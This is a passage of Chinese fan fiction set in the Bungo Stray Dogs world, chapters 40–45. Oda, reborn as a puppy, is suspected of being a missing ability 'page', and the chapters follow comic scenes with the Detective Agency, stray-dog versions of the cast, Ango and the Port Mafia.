“啊。”我先应了下来。 虽然我没有钱,但想必武侦宰或者首领宰总有办法的。实在不行,我还能跑去港口黑手党碰瓷中原中也。 对这点我还是很有信心的。 “好!”乱步汪声音骤然提高,这一下兴奋的吵醒了剩余还在睡的其他狗狗们,“说出你的委托吧!你苦恼的东西一定很有挑战。” “太宰先生是这样,乱步先生今天看起来也很激动……”中岛敦小声不解嘀咕着,但一想到他们即将拥有一大麻袋狗零食,又觉得这很正常了。 我刚停顿了一下,就感觉到身上传来了异动。 我从风衣里取出了小笔记本,看向上面新出现的文字,是首领宰的实时提醒: [不要让他们帮忙寻找‘书页’,让他们帮你直接寻找‘书’,虎——中岛敦是线索。] “这是……”乱步汪不知道什么时候戴上了眼镜,目光锐利的凝视着这一幕。 太宰汪也安静的蹲坐望着这边,一言不发。 我抬起头,在狗狗们面前没有掩饰这一幕,也是想听听他们的看法,看乱步汪和太宰汪会察觉到什么,对我的态度有什么变化。 “原来如此,这就是和你神秘的来历有关的小道具吗?”乱步汪看起来没了疑问,“有其他人在小道具那边——对你发布任务。” “……我可不知道织田作有这样的犬能力啊。”太宰汪这样喃喃的思考着,却没有继续深究下去,而是催促的汪了一声,“嘛……也不重要。织田作,说出你的委托吧!” 我一边思索着首领宰的意思,一边老老实实的交待: “我想找到一本‘书’,是很特殊的空白无字之书。在这个世界有一个人类叫中岛敦,白色头发,他身上有‘书’的线索,但我自己找不到。” “唉?”中岛敦汪歪过脑袋,舌头迷惑的吐了出来。 “是另外的人类哦,敦君。”太宰汪一爪子把它歪过去的脑袋拍正,用那种惯常慵懒散漫的嗓音说着,主动揽了下来,“织田作的任务我来完成吧。” “什么?!”国木田汪本来困得都快打呼噜了,这一个激灵清醒过来,睁大了眼睛,“那个太宰,主动想要做任务?” 德牧犬看起来有些怀疑人生。 乱步汪很不爽的嘟囔了一声,提醒道:“这个委托超出了我们流浪狗的能力范围,所以太宰,我没办法让给你单独去做任务——还有,别藏着啦!” “那个绝佳的适合我们吃三餐的投喂地点!你想当成他完成委托后的报酬对吧?”乱步汪目光犀利的注视着太宰汪,“是和他的委托地点也有关系吗?” 太宰汪也理直气壮的与小小的蝴蝶犬对视着,大声说出了偏心眼到家的话语:“没错!我可是辛辛苦苦踩点了好久才找到的地方汪,这种珍贵的情报,值得为织田作的委托增加价值了吧?” 我:“……太宰。” 从来没想到,自己会被一只狗狗暖到。 太宰汪和乱步汪呜呜对视着,两道相触的目光里火花四射,讨价还价着: “不行,我一定要参与这个超有趣的委托!”“乱步先生这次得听我的!”“想找到书少不了我的犬能力!”“但是那些人类的心思乱步先生——不好对付吧?” 太宰汪最后用一句话ko了气鼓鼓的蝴蝶犬。 “不是自夸,四年前的我……可是传说中有名的‘操心犬’哦。” 我:“……” 安吾汪在不在…… 这个发言越来越糟糕了,快来帮我吐槽啊!《 》 41、第四十一章 撒娇 最后,太宰汪还是和乱步汪达成了一致意见。 汪汪侦探社准备全员出动,赌上一切为我完成这个难搞的大委托。为此,太宰汪可以在完成委托前就送上那个吃饭地点,供每只狗狗都饱餐一顿再说。 “那我先回去了。”我望着天色有些担忧。 虽然首领宰没有时时刻刻在书页那边提醒我,但我出来的时间不短了。不管武侦宰有没有回去,估计都察觉到我偷溜出来的事实了。 “织田作,明天见!”太宰汪把我送回了宿舍楼楼下,神采奕奕的与我道别,整只大狗的每一根毛发都仿佛在精神的放光。 我跑了几步,鬼使神差的回头看了看。 太宰汪还在原地趴着,把下巴枕在两只爪子上温顺的远远望着我。 带着怀念。 流浪狗的眼眸中应该不会有人类那般的智慧才对,但我觉得,太宰汪好像什么都明白。 “……” 我没有再想,转头回到了宿舍里。 门没有锁,方便了我悄悄进去用后爪把门踢上。 但是下一刻,漆黑的房间里就突然伸出两只手,一把握住了我的前爪—— 武侦宰充满危险的嗓音幽幽响起:“织田汪……你什么时候溜出去了!让我好担心呐。” 武侦宰圆圆的脸蛋上全是幽怨,他大声抱怨着:“开完会回来就发现织田汪不见了,我可是差点要急哭了哦!” 我:“……” 啊。 虽然已经想到了这一幕,但被抓包了还是很心虚。 红毛幼犬的尾巴一动不动的垂在地上,连呆毛都垂了下去,看起来分外乖巧无辜。 武侦宰被萌到了,变成了星星眼,光速放过了这个话题改口道:“嘛,侦探社里已经知道我养了一只小狗,平时我忙的时候也照顾不了织田汪……织田汪白天的时候就跟着我去侦探社吧。” “这次的事件很麻烦的啊……”武侦宰把肥脸蛋埋到了我的皮毛上,很没有干劲的抱怨着,“我有织田汪要养呢,一点都不想连着忙好多天。” 我微微竖起了耳朵。 说起来,异能特务科委托给武装侦探社的‘书页’事件,到底是什么? 我还没有空问首领宰。 但我不着急。 首领宰一定是在会议上听到了什么内容,才突然开口让我把委托汪汪侦探社们找“书页”,改成了直接找“书”。 这一晚先过去了。 因为武侦宰抱着我撒娇不松手,就这么睡了一晚上,根本找不到时间打开我的小笔记本和首领宰联络。 早上的晨光透过窗帘洒落在床脚的一边,我透过那点熹微的光线凝重又如临大敌的盯着床单。 床上…… 有几根红色的狗毛。 不要啊狗毛。 我试图用自己的嘴筒子去把掉的毛清理掉,勤勤恳恳的不给武侦宰增加工作量。虽然武侦宰表现的好像不嫌弃,但我记得他是讨厌狗毛的没错啊! 可是……武侦宰缠着绷带的胳膊牢牢焊在我的背上,像是一座大山。我努力翻腾了半天,累得直喘气还是出不来。 幼犬的身体果然太弱了啊。 我没办法了。 两眼放空,彻底摊平不动了。 “噗。”这时候,我旁边才传来武侦宰胸膛震动着的笑声,像是突然忍不住了漏出来的笑音,终于一把抱起我大声夸赞道,“织田汪……太可爱了吧!” 这个人,原来已经醒了。看着我自己卖力很久了吗? “……” 我无奈的半阖着眼睛,被举起来各种高呼揉搓,呆毛乱翘的后知后觉意识到: 虽然我背地里有着首领宰的智慧、无赖派的支援,但我在这个世界里想与他们联络也有些麻烦啊。 ……最大的麻烦就是武侦宰太爱撒娇了。《 》 42、第四十二章 温暖的太宰陷阱 武侦宰还是在给我顺毛以后,带我来到了武装侦探社。 那是一栋红砖砌成的四层小楼。 我:“……啊。” “哦!这不是织田作先生吗?”敦汪乖乖巧巧的蹲坐在大门口对我吐舌头。 “哟。”乱步汪也高冷的躺在不远处的水泥管里,半睡不醒的回答我没出口的疑问,“我们搬迁到了这里啦。” 太宰汪也远远地笑眯眯回答:“这里有很多提供给流浪狗的食物呢!” 我下意识抬头看了看抱着我的武侦宰。 武侦宰满脸友好的说着:“怎么有这么多流浪狗,我讨厌这种情况唉……不过织田汪是想下去和他们玩吗?” ‘不了。’我默默把脑袋往武侦宰的风衣里一埋,往里面拱了拱表达拒绝。 汪汪侦探社到这里来是完成我的委托的,在刚才的交流里也完全没有提到和我的交易,很谨慎,我打满分。虽然感觉太宰治还没有强到能听懂狗说话,但,万一呢? 不愧是汪汪侦探社。 太宰汪一定明白它要面对的敌人有多难缠吧?(指他自己的人间体)。 在这段时间里,我还是不要和汪汪侦探社扯上交集的好。 上楼。 武侦宰娴熟的推开了门,一阵热闹鼎沸的动静扑面而来。 我屏住呼吸好奇的跟着往里面看去。 beast世界里面武装侦探社还不成型,我之前去过的几个世界也在绕着太宰和乱步走,所以现在在文豪野犬汪的世界里,我还是第一次来到武装侦探社。 这部动漫的应许之地,这个主角团的所在之地。 我有些激动的扫视着每一个人,每一张桌子。当然,第一反应是先去寻找江户川乱步。 ——很有少年气的侦探青年戴着眼镜,一双冷绿色的眼眸犀利的直直注视着我,一言不发。 心脏骤停。 我僵硬的连呼吸都差点停了两秒:“……” 怀里的画本从早上就在异动,我知道这是首领宰在对我说什么,但无奈我是真的没办法去看。 所以是什么情况? 我暴露了吗? 我仰起头去看武侦宰的表情。 因为身高的原因,我只能看到武侦宰的下巴。从这个下方望上去的角度,他的脸上只有一片阴影,看不清楚具体表情。 …… 红发幼犬的尾巴慢慢不摇了,坐在太宰治怀里往里缩了一下,湿漉漉的蓝色眼睛安静注视着他们。 小狗脸上一如既往的没什么表情。 只有失落的氛围仿佛实质化一般的出现了。 江户川乱步看着这一幕绷不住了,但口吻还在努力保持着犀利:“就算你这么卖萌,我也不会像其他人一样接受的,我和社长都是猫派的!!” 他大声表示着自己对幼犬的不欢迎,简直像是小孩子在闹脾气。 我:“?” 我看向周围,谷崎兄妹星星眼的看着我,满脸喜爱。中岛敦一脸小心翼翼,手中拿着一根狗零食。小镜花面无表情,但眼神一直随着我动,头上的呆毛跟着变成了狗狗爪的形状。 所以,乱步先生一来就火力全开,是在对我宣战领地? 我感觉有点奇怪。 穿越前看的各种小说里乱步先生是会这样的,真正的江户川乱步会这么干吗?但文豪野犬汪世界也不太一样……乱步先生这么幼稚好像也正常。 但,还有一些违和感环绕着我。 不等思虑,武侦宰就捧着我愉快的回到了沙发上躺平了,他快乐的躺着一动不动,摆明了是在摸鱼划水,口中还感慨着: “啊,真好……国木田和贤治去处理事件,乱步先生负责找线索,要是打下手了有敦和镜花在,我可以继续陪着织田汪啦!” “太宰先生……再这样下去又会被国木田先生骂的啦。”中岛敦苦着脸吐槽。 我沉默的注视着这一切。 武装侦探社里的所有情况都那么自然,像是我穿越前看过的那样发展着,也如同文豪野犬汪的世界一样平和日常,从我穿越以来就腐蚀着我警惕的那根神经,让我变得放松而享受。 但是,为什么我就是觉得哪里存在异样感? 如果这里的太宰治和江户川乱步联手对付我,我真的能察觉出来异常吗? 我想。 我是不能的。 但如果——我没有首领宰的提醒的话。 我突然从武侦宰的身上跳了下去。 “啊,织田汪……?”武侦宰有些猝不及防的迷茫看着我跑远。 我不管不顾的跑进敞开门的社长办公室。 是的,这里是我深思熟虑的场所。 正在批改文件的社长疑惑的注视着跑进来的我。但我顾不上别的,蹿到了社长办公室里纯装饰用的猫窝猫爬架上。 那里是一个狭小的隐蔽空间。 我装作被人多吓到了钻进去,实际上,我抓紧时间的掏出了小笔记本,一目三行的试图看完首领宰给我的密密麻麻的留言—— [织田作,不要跟着去!] [异能特务科的书页丢失,委托武装侦探社寻找。同一时刻发生的异常事件只有……你的出现。] [那个‘太宰’,他一直的行为是在试探怀疑你。] [武装侦探社最终是要找回‘书页’。织田作,马上跟着流浪狗们离开。] 我:“……” 我落入了陷阱? ……武侦宰是在,观察任务对象?《 》 43-50 第43章 真是搞不懂你们日常番 我回想着武侦宰抱住我时的神情, 看着我吃辣咖喱饭时的眼神,接到电话时毫无异样的反应,还有刚才带我来侦探社时的平和…… 不行啊。 我只以为武侦宰也许猜到了我的异常, 却没有想过所谓的“书页失踪”事件与我有关系,武侦宰在悄无声息的观察我。 二十二岁的太宰治已经成熟得比四年前厉害太多了, 我完全分不清他的哪些反应是真实虚假的,掺杂了多少的情绪。 是真的和我有关系?还是凑巧? 联想到书页失踪的时间与我出现时对上, 以及我莫名其妙的变成了织田汪之助……我心生预感,这恐怕真的和我脱不开关系。 所以现在我该怎么办? “织田汪——”太宰治的嗓音拖长了出现, 我头顶上的猫窝洞口亮起一道光, 是武侦宰扒开了猫窝, 把我抱了出去, “原来躲在这里啊。怎么突然跑走了?” “唔?”武侦宰注意到了我爪子下按着的迷你绘本。 是的,我没有收回去。 电光火石间, 我有了一个想法。 所以武侦宰拿起小小的绘本翻看的时候, 我蹲坐在他怀里,乖巧的盯着。 绘本上交流的字迹都会淡去,因为“原稿”会隐藏起我不希望别人看到的东西。所以在beast世界时的首领宰看不到原稿中保存的剧情与小说, 只能看到我的涂鸦。 所以文野汪世界的武侦宰也不会看到我和beast世界的交谈,他只会看到…… “……” 穿着沙色风衣的青年垂眸安静翻看着。 最多只有拇指大的迷你小绘本上画着一个又一个涂鸦。虽然小的像是绿豆, 却各个线条流畅, 纤细无比, 像是某人的涂鸦。 不过, 比起有人特地能把画做的这么小, 这看起来更像是有人画了图案以后,连本带画的一起缩小了。 涂鸦有各种各样的,却都很熟悉…… 穿着黑西装右眼蒙着绷带的太宰治, 戴着红围巾左眼蒙着绷带的太宰治,没有蒙绷带却穿着沙色风衣的太宰治。还有狗狗太宰治,学生制服太宰治,僵尸太宰治…… lupin酒吧里的Q版无赖派。 港口□□里的中岛敦与泉镜花。 武装侦探社的芥川龙之介。 还有学校里的幼儿全员。 再下来是…… 胖老板与五个孩童的笑脸。 太宰治的手久久停留在这一页上,脸上的表情看不太清楚了。 “——太宰,出什么事了吗?”社长见他久久停在墙边一动不动,出声问着。 “唔,没有哦!”太宰治抬起眼帘,仍然是平常的口吻,轻松愉快的说着,“我找到织田汪了,现在带它出去。” 他合起迷你的小绘本,抱着我出去了。 直到回到长沙发上,武侦宰都牢牢的抓着我。他低下头,声线压的很低,把那个迷你小绘本好好的装回了我身上的风衣内口袋里,叮嘱道:“如果是重要的东西,要保管好哦,别再掉出来了。” “织田作……” 我的耳朵抖了一下,强忍着没有抬起头对这句话做出反应。 但即便看到我的无动于衷,武侦宰也笑得眉眼弯弯的,没有什么失落的情绪,像是确定了什么一样。 我的心脏也安定了下来,即便摸不到风衣口袋里的小绘本,我也想了一下它。 ‘好,这样应对就够了。’ ——首领宰一定是因为看到了秘密会议的内容,知道武装侦探社盯上了我,想探究出我和“书页”的关系,所以让我快离开。 所以昨晚才让我直接向狗狗们下委托,不是寻找异能特务科的“书页”,而是直接去找这个世界中的“书”啊。 即便不能和首领宰实时沟通,我回忆着首领宰的那几句话,隐约明白他的意思。 ‘逃’其实不是重点。 重点是…… 我要在这个世界支撑到寻找到“书”为止。在那之前,我不能让武装侦探社找出我和“书页”的秘密交给异能特务科,不然我以这个孱弱的幼犬之躯存在于世,很可能没个好下场。 哪怕这个秘密我自己都不明白是怎么回事。 我也必须延缓时间。 可,我没空去看首领宰的留言,已经在武装侦探社离不开了该怎么办? ……当务之急,我只能用自己当诱饵,拿出迷你小本本去骗取武侦宰的注意力了。 不管是他认定了我的身份,自己内心做出犹豫纠结,还是帮他打消一下对这个绘本的怀疑,都可以拖延时间和转移注意力。 接下来就拜托流浪狗们了! 我在心里默默祈祷着。 …… 接下来的一天里,Q版的武侦宰都很高兴的哼着歌,手上捧着一本不知道哪里来的书看着,一点都不觉得无聊——不,准确的说,是我在看书。 只要我看完一页,就用爪垫拍拍武侦宰的手背,绷带青年就不厌其烦的翻过一页。 我倒是打发时间了,看得津津有味,就是不清楚武侦宰看进去多少。以他抱着我看书的这个姿势,我就算抬起头也只能看到他的下巴,完全看不清表情。 我在看书的间隙里,时不时偷偷关注着武装侦探社里的进度。 情报员们忙碌的跑来跑去,但具体的进度我听不清。谷崎兄妹中途也出去了一趟,包括回来的国木田独步,还有乱步先生,都含糊不清的交流着什么: “对……是这样。”“这是紧急的大事件啊……会来人?好的好的。”“有准备吗?”“原来如此……” 江户川乱步看起来笑眯眯的,一点都不着急,忙过了这阵直接坐在桌子上吃棒棒糖了。 ‘不忙了吗?’我疑惑想着。 我心里莫名有些不安。 就像印证了我的猜测似的,我又感觉到了绘本的异动,首领宰发现什么了? 我本能的抬起头再看了一眼武侦宰。 可可爱爱的Q版武侦宰听着歌,什么反应都没有。但,他真的在听歌吗? 武侦宰太有前科了,说不定他是窃听到了什么情报。 “听着。”社长气势十足的从房间里走了出来,对大家宣布,“傍晚,异能特务科会派人过来交接,我们社里负责招待,太宰,交给你了。国木田你来做汇报。中岛,你去订静水轩的晚餐位置。泉,你去买专用物品。” “是!”中岛敦站起来应声,小镜花默默点头。国木田也推了推眼镜淡定应下。 ‘交接什么?’我心里的不安加剧了,再一次看着平静答应的武侦宰。 ‘——是我吗?’ 武侦宰似有所感的低下头,不解的看着我:“织田作?” “别担心。”他不大习惯的轻轻用手抚摸了一下我的脊背,安慰的顺了两下毛,又很快把手收了回去,放缓了嗓音。 在接近傍晚的时候,我们全体出发了,前往了那家叫做“静水轩”的高级餐厅。我在越过门口的时候,发愁的眼神悄悄搜寻着外面——然后与太宰汪温柔安抚的视线对上了。 大狗跟在车后面鬼鬼祟祟的追着,他的身后还跟着一只漆黑的小狗,额前有着变色的两缕白发。是芥川汪之介! 来帮忙的吗? 一大一小两只狗卖力的远远追着车子,跑得耳朵都快飞掉了。 “……”我的心脏一下子安定了下来。 再怎么说,汪汪侦探社们也会在暗中保护我,应该会找机会救我出去的吧? 虽然静水轩是高级餐厅,但武侦宰抱着我进门的时候,没有人觉得不妥。我们进了包间,异能特务科的人也很快到了。 门被文质彬彬的敲响了两下。 “嗨嗨,来了!”贤治精神抖擞的跑过去开门—— 我:“……” 啊。 一点都没有意外。 站在门外的是穿着灰色西装的,嘴角有一颗痣的眼镜青年,看起来像是已经加班了一周那么的疲倦,他的眼神越过贤治去下意识寻找着太宰治,然后突然与我先对上了视线:“……” 坂口安吾的表情不可思议的凝固了:“……?!” “请进?”贤治不解的等了等,带着笑容的又喊了一遍。 坂口安吾的视线还死死盯在我身上,嘴里像是条件反射似的喃喃说着原本准备好的话语:“我是异能特务科的坂口,前来……交接,活过来的……书页。” 我:“?” 我知道我该有危机感的,但因为来的人是安吾,反而让我一点害怕担忧都没了。 “太宰,所以这就是……!”坂口安吾的眼镜闪过一道光,他忍不住的急促问了半截。 “啊。”武侦宰看起来不太想和安吾多说什么,所以只是短促的应了一声,就懒懒的没了下文。 “那么,接下来说明名为‘书页’的异能物品失踪一事的调查报告。”社长看了一眼国木田。 国木田站起来开始严肃的念报告。 我竖起耳朵听着。 “……该书页与幼犬在同一时刻出现,幼犬已被证实拥有着不符合犬类的习惯与思考方式,即——为四年前离世的织田作之助此人的灵魂重现于世。” “太宰治的异能力无效化没有起作用……这符合异能物品起效时的表征。” 国木田洋洋洒洒念了一大堆,得出结论:“所以——丢失的‘书页’其实是意外活过来了!变成了这只幼犬。” “这次是一个书页成精的意外啊。”国木田发出了感叹。 “原来如此。”坂口安吾也认真的点着头,一本正经的宣读了异能特务科的决定,“那么,异能特务科派遣我——坂口安吾本人到武装侦探社出外差一段时间,负责这只幼犬——咳费用也归我们报销。归期直到本场意外复原,收复了‘书页’为止。” “好唉!欢迎坂口先生来到武装侦探社!”谷崎兄妹热情欢迎着,丝毫没有多想。 “原来织田汪的身体里住着一个人类的灵魂吗?织田先生,真是抱歉。”中岛敦蹲了下来,悄声歉意的对我说着,有点内疚他们把我当狗逗的动作。 坂口安吾就这么说完官话自然的坐下来,融入了武装侦探社,殷殷切切的坐到了我身边,欲言又止着。 “织……织田作先生?”他有些近乡情怯的不安问了一声。 我:“…………” 你等等,你们都等等。 这结果合理吗?这结果难道不草率、不儿戏吗?不需要把我带回异能特务科严加看管,或者想办法把我变回所谓的“书页”吗? 异能特务科到底是怎么答应下来的?在‘我’变回书页前就这么等着? 武装侦探社的大家们为什么反应也都这么平淡,这么天然直接的接受了安吾的加入吗? 我荒诞的看着眼前合家欢的其乐融融场面,想象中的危险全都没有到来,我仿佛和空气斗智斗勇了一集。怀里的绘本还在不断震动着,就像首领宰的问号也和我一起具象化了一样。 但是…… 但是我仔细的艰难的想想的话…… 文豪野犬汪,不就是这样一部欢乐的日常和平番吗?连港口□□都能和武装侦探社亲如一家,再多加一个异能特务科也正常。小短番里意外频出,再大的问题也只是日常。 所以……他们才会接受程度这么良好,吗? “汪。”我有些艰难的应了一声安吾的话。 安吾…… 你们这个Q版的世界…… 画风和我们beast世界、和首领宰的完全不一样啊!!!- 作者有话说: 这一集是吃瘪的首领宰。 早上前,首领宰凝重分析——织田作,不可以过去。 身份暴露时,首领宰隔空焦急——织田作快逃! 晚上见面后,想象中的危险算计全数都不存在的首领宰面无表情麻木——哦。 ……真是搞不懂你们日常番。 (其实首领宰所有的想法走向全部都很正常在线,只有首领宰无法感受到的Q版武侦宰思维和其他世界的截然不同呢hhhhh). (入v第一更) 第44章 神兵天降太宰汪 “真是不可思议。”坂口安吾半晌都没缓过来神, 低声喃喃着,“怎么都没想到,书页居然意外的把织田作先生叫了回来……!” 他震惊半天了。 别说了安吾, 我和首领宰一定比你震惊…… 我用爪垫猛然踩了踩武侦宰的掌心,让他回神。 “嗯?”武侦宰从刚才开始就一言不发, 神游天外似的,完全没了存在感。不知道是他不愿意看到安吾, 还是不习惯这种大家团圆聚餐的环境。 现在他低头看向了我,脸上流露出了一抹有些真切的活泼气来, 兴致勃勃的问:“织田作不能说话了, 是有些为难吗?想做什么?唔, 让我来猜猜看——” 绷带青年的鸢色眼眸一眨不眨的盯着我。 我:“……” 我默默在心里叹了口气。 该怎么告诉他们呢?我不是他们认识的那个织田作之助。 该怎么说呢?我应该也不是成精的书页, 但我确实打着本世界“书”的主意,等我得逞了, 异能特务科连一片书的残页都别想要了。 但这一刻, 我放弃了这些纷乱的想法,把自己融入了这种欢乐氛围里。 我用嘴筒子轻轻叼住武侦宰的衣袖,往外面的方向扯了扯, 眼神刻意在桌上的小酒盅上停留了超过三秒钟。 我相信武侦宰能理解的。 走吧——我们也算是无赖派聚会了。既然太宰待在这种和乐融融的团聚场所会感到不适应,那我们就去人少的地方。 就算眼前的这个是武侦宰, 不是首领宰——他也是太宰治呀。 我想要获得友情的对象。 “……我想到了一个好地方!”武侦宰果然领悟了我的想法, 他眼睛一亮的说着, 抱起我转身就向门外走着, 沙色风衣上系着的长腰带在空气中飘扬着, 一同落下的还有一句半冷不热的话, “安吾——跟上。” 但即便是这样一句语气不大好的话,坂口安吾也神色复杂的笑了笑, 眉宇间多了抹松快:“……嗯。” 他默不作声的推了下眼镜,礼貌的向包间里的其他人致意,转身匆匆跟出去了。 我们三个人……不对,我们两人一犬来到了静水轩的一楼,武侦宰问前台要了一瓶威士忌和两个杯子。没有我的份,因为泉镜花在来之前已经为我专门置办了一套幼犬用品。 出来包间前,坂口安吾眼疾手快的带上我的小碟子了。 这里的一楼也很幽静,周围是花草流水,十分风雅。 我们三个就随意的坐在大厅的某处地方,琥珀色的酒液汩汩的倒在杯子与碟子里,必不可少的是添加在里面的冰球。 坂口安吾的脸色十分不安,担忧的问着:“织田作先生……你真的可以喝酒吗?还是冰的。” “汪。”我沉稳的端坐着抬起一只爪子,应了一声。 “连加辣的辣咖喱都能吃,安吾你别太小看织田作了。”武侦宰说着这么替我解释的话,脸却朝着另一边,像是在对空气闹脾气。 ——缠着绷带的那只手却勉强的举起了酒杯。 坂口安吾的脸色转好了,他怀念且感激的注视着我们两人一犬的这一幕,同样举起了酒杯。 “为了——” 不对。 “……” 我仰起头,默默注视着左右两个人类举起的酒杯,盯—— 太宰治和坂口安吾都飞快的意识到了不妥,在我的盯视下流下了冷汗。武侦宰嘴角挂着的笑容僵硬了,突然的改口:“啊,对了……!” “为了庆祝和织田作的重逢,我们应该这样碰杯。” “是啊是啊!”坂口安吾跟着紧张的附和着,主动降低了杯子的高度。 两个人类小心翼翼的用自己的杯子与我的碟子碰撞了一下,发出清脆的响声。 我这才满意了,伸出爪子象征性的按住了碟子边缘,就当做我也和他们碰杯了吧。 “织田作……”武侦宰的嗓音柔和了下来。 他怀念的望着我,鸢色眼眸中却透着几分寂寥的清醒,轻声问着:“你是和我们有过相处的那个织田作,还是其他世界的织田作呢?” “啊?”坂口安吾猝不及防的发出一声疑问。 我舔着酒液的动作一顿,歪着脑袋看了过去。 回答倒是能回答,但是我该怎么表达呢。 “这样——是的话抬起左前爪,不是的话抬起右前爪哦。”武侦宰体贴的提议着。 我马上举起了右前爪。 “啊???”坂口安吾看起来更疑惑和震惊了。他想询问具体怎么回事,但有心回答的我说不了话,另一个人完全没有替他解答的想法。 “那……织田作在其他世界中也认识我、和安吾吗?”武侦宰在我直直看着他的目光中,不情不愿的加上了后半句话。 我这次举起了左前爪。 “织田作去过很多世界吗?你的经历好像很特殊。”武侦宰若有所思的继续问着,他的好奇有那么多,滔滔不绝的问了好一会儿。 安吾本来满心疑惑,但听着听着,好歹先了解了其中一部分情报。 “……最后一个问题,织田作是属于哪个世界的呢?”武侦宰的视线有一瞬间不愉快的掠过了我的风衣口袋,目光有些晦暗。他不愉快的拖长了嗓音: “真好运啊,拥有织田作的另一个世界……” 我停顿了一瞬。 这是吃醋吗? 这是占有欲发作了吧……武侦宰,你…… “这一次不好表达了呢,我分别说那些世界,是哪个……织田作再举手哦。”武侦宰眼皮都不眨的把我绘本上的那些形象一一道了出来。 我举起一只毛茸茸的狗爪子,径直堵住了他的嘴巴。 不用浪费口水了,太宰。 我索性保持着站姿,左右两只爪子都举了起来,示意给武侦宰看。 武侦宰果然理解了我想表达什么,他的神色肃然下来,有些惊异:“……织田作想说,那些都不是吗?但是你又全部都……属于?你属于每一个世界?” 我“汪”了一声表示赞同。 每个世界的无赖派,都是我想要的友情。只不过,我更偏爱首领宰,所以打算把beast世界当做自己的家了呢。 坂口安吾:“……” “太宰,织田作先生,你们到底是怎么沟通的啊?!” 这是迟来的、但终于到了的安吾绷不住了的吐槽。 “也就是说……你能属于每一个世界?你可以留下吗?”武侦宰的嗓音愉快了起来。 虽然我听到这个话题想缩回我举起的左爪子,不能留给武侦宰错误的希望。但武侦宰却状似无意的攥住了我的前爪,动作很轻柔,没有攥疼我,却不能让我收回爪子。 “我知道的。” 他清爽好听的声音低了下来,有点若无其事似的,“织田作还是要走的,但是在那之前——织田作再让让我?” “……”我无奈的望着他,不再挣扎了。 好吧。 武侦宰就是喜欢撒娇,我也只能纵容一下了。 但是下一刻…… 我的视线突然越过绷带青年的手臂,与半敞着的窗口上趴着的两只流浪狗目光对上了。 我:“……!” …… 太宰汪的目光冰冷,带着杀气。 ……为了保护织田作,他叫上了嘴硬心软的芥川龙之介。 一路跟随着跑来了人类的吃饭场所,但是为了找人花了一番工夫。 现在,它们两个却看到了什么? ——在这栋建筑的一楼大厅里,红色毛发的幼犬被人提起,两只前爪都被攥在手里无法松开,它想发力挣扎着后退,但是对抗不过人类的力道。 穿着沙色风衣的绷带青年笑眯眯的说着什么,脸上挂着不怀好意的狗贩子微笑。 整只幼犬的耳朵都蔫蔫的半耷拉着,似乎知道什么而妥协了,便放弃了挣扎。 面无表情——却弱小,可怜又无助。 把这样一个信息与他的友人“织田作之助”划上等号—— 太宰汪的眼眸里一瞬间喷涌出了冰冷的怒火:“……!” 我意识到哪里不对劲:“……” 啊。 等等。 这种场面,加上太宰汪的反应。 简直不就像是……像是它亲眼见到了我挣扎未果、似乎正在被人类版的他强制着做什么的证据吗?! 等等——! 就在我突然有了不祥预感,正想开口阻止的时候,已经来不及了。 太宰汪不知道又说了什么,趴在它旁边小一号的野犬芥川汪之介也呲牙咧嘴起来,露出一副要咬人的凶相。 一大一小两只狗找场子一般的从窗外飞跃进来。 太宰汪气势汹汹、呲牙咧嘴的扑了进来,狠狠一记后爪蹬到了武侦宰脑袋上,嫌恶的汪道:“——放开织田作,你这个人类绷带精!” 可怜的武侦宰一瞬间眼冒金星,还被犬类踩了一下脑袋借力,对我发出了吃痛的委屈呼声: “嘶……好痛啊织田作!” 太宰汪却一点不停、犹如神兵下凡的跳到了我面前,模样可靠又稳重,高高昂着脑袋: “织田作,快跟我逃汪!” 我因为这一连串动作恢复了自由。 看着一大一小两个宰,我却只在沉默中觉得汗流浃背。 这算什么? ……左右为宰?汪汪侦探社不会终于要暴露了吧? 我一想就头痛的很。 “这是什么啊?!” 然而在场还有一个人要比我显得崩溃。 坂口安吾被芥川汪之介的犬能力追得抱头鼠窜,虽然他身为人类的优势足以完成自保了,却躲闪得狼狈极了,崩溃喊着: “……啊啊这是哪里来的野狗?我不想打狂犬疫苗啊!” 我:“…………” 我面无表情木然的看着这一切,眼神终于也像是首领宰那样、缓缓的浅失了一下高光。 啊。 这个世界,还真是鸡飞狗跳,每一秒都精彩的过分了- 作者有话说: 首领宰:“……噗。” 看着一个野犬自己痛殴了武装侦探社的自己。 首领宰在隔壁看戏看得很愉快。 (入v第二更,写不完了!明天补) 第45章 双黑争夺战 “啊?发生什么了, 外面这么吵?”一道不满的熟悉嗓音响起。 一楼大厅旁边的包厢里走出来一道查看的身影。黑西装与圆帽子,赭色头发,自信的步伐。 中原中也眼疾手快, 身上蔓延起了一道暗红色的重力,他一把抓住了芥川汪之介。 “呼……十分感谢, 中也先生。”安吾虚脱了一样的道谢着,终于不需要左躲右躲了, “帮大忙了。” “噫,真的是哪里都能见到这个小矮人啊!”武侦宰的脸色一下子嫌弃的微妙变坏了, 他的嘴角半耷拉了下去, 缠绕着绷带的手臂交叠在胸前。 这幅做好了准备的姿态, 下一秒就可以随时开始吵架了。 但是中原中也保持着那个姿势半晌没动, 他的钴蓝色眼眸剧烈地震着:“这……” 中原中也目瞪口呆。 我:“……” 我还在面无表情却满头大汗的紧急想着理由。 “喂,芥川……”中原中也的嗓音都在不明显的颤抖, “你, 怎么——” “……怎么会变成这样?!我们港口□□一定会想办法治好你的!”他悲痛的嚷出了后半句话。 无论如何,刚才的异能力“罗生门”是实打实亲眼所见的! “芥川前辈出什么事了?”一道敏锐的女声从包厢里响起。 樋口一叶“唰”的拉开了包厢门,疑惑的往外看着, 热闹的动静彻底从里面泄露了一地。 这下藏不住了。 小小的包厢里坐的都是熟人:芥川银,立原道造, 广津柳浪, 尾崎红叶。港口□□的人今天也“巧合”的选中了这里来团建了吗? “啊!”这是同样看到了芥川汪之介的樋口一叶, 她两眼放着光的僵住了, 脸上浮现出了梦幻般的红晕, 表情看起来有点不能呼吸了, “小小的……小小的、芥川前辈?!” 她身后包厢里的立原道造表情都快裂开了,直接破了音:“——只是去上了个厕所, 芥川居然变成了小狗吗?!” 芥川银:“……” 虽然小时候哥哥常常自嘲的称呼“野犬”,但她没想到有一天真的可以变成犬…… 芥川银迟疑的默默移开了视线。 而在场唯一能听懂人话和狗语的我看着芥川汪之介凶狠的在中原中也手里疯狂挣扎: “放开在下!快放开在下——可恶,攻击不起作用!” 它发出了败犬一般不甘的呜呜声。 港口□□的人也吃不下去饭了,鱼贯而出,同情(划掉,兴奋)的把芥川汪之介围在中间打量着,试图嘘寒问暖: “变成这样……是遭遇了厕所里的诅咒吗?”立原道造脑洞大开的举例着。 